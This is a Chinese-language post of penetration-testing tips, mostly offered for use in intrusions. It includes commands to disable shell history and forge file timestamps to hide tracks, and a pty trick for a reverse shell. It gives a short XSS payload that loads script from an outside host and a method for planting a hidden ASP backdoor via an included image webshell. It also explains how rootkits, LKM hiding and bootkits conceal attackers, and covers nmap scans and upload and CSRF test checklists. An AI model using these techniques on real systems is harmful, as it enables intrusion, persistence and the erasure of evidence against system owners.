渗透测试笔记主要为一些短小但又精华的渗透小技巧,旨在与小伙伴们分享学习心得。为保证质量,每一篇为20条左右的渗透小记。
1.提权后进入远程桌面发现 desktop locker(桌面锁)
解决方法:
ctrl+shift+esc 一直按会出现资源管理器,鼠标结束desktop locker即可
2.3389低权限用户提权(这个情况似乎比较少见?)的时候或者日常渗透用软件的时候可以
subst x: D:\XXX 用命令创建 X盘符 远程桌面连接器-本地资源-详细信息 -驱动器-勾选新增的X盘符
可以把本地驱动器映射到远程3389服务器上的X盘,放上常用提权工具方便渗透。
3.Rootkits:
Rootkits是linux/unix获取root权限之后使得攻击者可以隐藏自己的踪迹和保留root访问权限的神器,通常攻击者使用 rootkit的检查系统查看是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息,通过rootkit的嗅探器还可以获得其他系统的用户和密码!
目前常用的有:t0rn /mafix/enyelkm 等等。
Rootkits通常分为:应用级别—内核级别—-硬件级别,早期的是rootkit主要为应用级rootkit通过替换login、ps、ls、 netstat等系统工具或修改.rhosts等系统配置文件等实现隐藏后门,硬件级RootKits主要是指Bios Rootkits,能够在系统加载前获得控制权,通过向磁盘中写入文件,再由引导程序加载该文件重新获得控制权也可以采用虚拟机技术,使整个操作系统运行在rootkit掌握之中,目前常见的rootkit是内核级rootkit,通过直接修改内核来添加隐藏代码实现控制系统的功能。
最为简单实用的应用级别Rootkit是通过将添加过提权代码的命令替换系统中原始的命令来实现功能的,并且一般提供清理工具删除wtmp、 utmp、lastlog等日志文件中自己的行踪,并且复杂点的rootkit还可以向攻击者提供telnel、shell和finger等服务。
4.LKM隐藏技术:
LKM就是可装载内核模块(Loadable Kernel Modules)。这些模块本来是Linux系统用于扩展其功能的。
木马最大的特性就是隐蔽性,不能轻易让人察觉,所以隐藏木马相关信息是关键的因素。对于Linux操作系统来说,主要有静态隐藏和动态隐藏两个标准。
由于Linux本身的安全性,想利用外壳程序隐藏木马文件和进程不可能实现,所以就借要通过修改Linux内核的系统调用来隐藏木马相关信息,这就是LKM技术。
5.Bootkit:Bootkit是更高级的Rootkit,该概念最早于2005年被eEye Digital公司在他们的“BootRoot”项目中提及。它主要利用其内核准入和开机过程的隐身技术,当在功能上并无异于Rootkit。他们的不同主要表现在获取准入的方式上。传统的rootkit利用系统启动时提升权限。而Bootkit是被安置在外设的主引导扇区和驻留在整个系统的启动过程。
Bootkit的引导扇区代码总是在ROM BIOS执行后主引导记录被载入前劫持系统启动程序。一旦被载入到内存,代码便执行中断指令,也就是俗称的HOOK挂钩。它挂接到INT 13指示后续扇区读取其信息。这个过程完成后,Bootkit试图改变引导过程的结构和操作逻辑流程。
6.用nst的反弹后门连上nc后不能su交互,报错如下:
standard in must be a tty
解决方法:
python -c ’import pty; pty.spawn(“/bin/sh”)’
得到shell就可以su进行交互了。
7.history不记录:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
8、自己尝试最短的引入外部脚本的xss payload(28个字符):
<script src=http://e1v.cn/pj
9、有文章称
<script src=//xxx.xxx/a.js></script>
也可以插入,但是实测证明,不是每个浏览器都支持没有http:的插入。要有效可靠的插入,还是参考上一条的插入方法。
10、实在要短得不行的,那就分开来插吧:
<script>var a=’alert’</script>
<script>var b=’(“xss”)’</script>
<script>var c=a+b </script>
<script> eval(c) </script>
11、C类IP地址:C类数字相同的IP地址,通常是同一台服务器或是处于同一网络上的服务器。所以如果两个网站IP地址前三个数字相同,如198.197.196.195和198.197.196.194,搜索引擎会认为这两个网站之间是有一定关系的,很可能在同一架服务器上。
12、URL静态化:通过URL重写技术,将动态URL转化为静态URL。在LAMP主机上,URL重写通常是通过mod_rewrite模块;在windows主机上,通常是通过ISAPI Rewrite或是 IIS Rewrite模块。
13、在nmap目录下有很多扫描脚本,可以实现很多智能化的功能,具体在/nmap/scripts这个目录下:使用方法:
nmap -P0 --script= smb-check-vulns 192.168.XXX.XX
14、常用的nmap扫描类型参数主要有:
-sT TCP connect扫描
-sS TCP SYN扫描
-sF -sX -sN 通过设置一些特殊的标记位来避开防火墙的检测
-sP 利用ping来探测主机是否存活
-sU 探测主机开放了哪些UDP端口
-sA TCP ACK扫描
-sV 探测端口上面运行的详细信息
15、常用的nmap扫描选项有:
-O 探测主机操作系统
-A 比较高级的主机旗标探测
-Pn 不利用ping命令来探测主机是否存活
-F 快速扫描模式
-p<端口范围>
16、使用icyfox-time.exe修改文件的时间属性:
icyfox-time.exe "e:\web\yuan.asp" e:\web\gai.asp
注意:第一个文件路径需要用双引号,第二个不需要。这样就把”e:\web\gai.asp”这个文件的时间改为和”e:\web\yuan.asp”文件一样啦。
17、更加隐蔽的asp网站留后门的方法:
上传一只一句话图片马,具体制作方法请参见“图种技术”;然后在你要插入一句话的页面里插入一下代码语句:
<!--#include file="图片马路径"-->
18、关于上传漏洞的检测步骤:
(1).上传文件是否有格式限制,是否可以上传exe文件;
(2).上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
(3).通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
(4).是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
(5).上传文件大小大于本地剩余空间大小,是否会出现异常错误。
(6).关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
(7).对于文件名中带有中文字符,特殊字符等的文件上传。
19、跨站请求伪造(CSRF)
(1).同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。
(2).当页面没有验证码时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。